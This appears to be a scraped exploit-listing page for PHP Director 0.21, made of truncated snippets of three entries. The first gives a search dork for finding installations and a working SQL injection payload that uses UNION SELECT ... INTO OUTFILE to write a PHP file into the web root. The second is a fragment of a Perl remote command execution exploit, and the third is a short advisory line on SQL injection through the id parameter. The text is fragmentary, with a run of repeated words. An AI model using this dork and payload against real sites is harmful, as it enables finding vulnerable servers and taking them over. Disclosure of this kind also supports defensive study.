PHP Director 0.21 - SQL Into Outfile 'eval()' Injection

include include include include include include / Dork "Powered by PHP Director 0.2" | PHP Director 0.2.1 sql into outfile eval Injection Exploit | Exploit- index.php?cat=%27+UNION+SELECT+1,'lol',3,4,5,6,7,8,9,10,11,12,13,14,15+INTO+OUTFILE+'/var/www/ex.php'/ PHP.ini- Magic Quotes off Written- by...

PHP Director 0.21 - Remote Command Execution

PHP Director 0.21 - Remote Command Execution --+++===================================================================+++-- --+++====== PHP Director ". "\n+ Ex. : perl $0 localhost /PHPDirector /opt/lampp/htdocs/PHPDirector". "\n+ Notes : must be the same directory where CMS is hosted". "\n\n"; ex...

Sql injection

SQL injection vulnerability in videos.php in PHP Director 0.21 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter...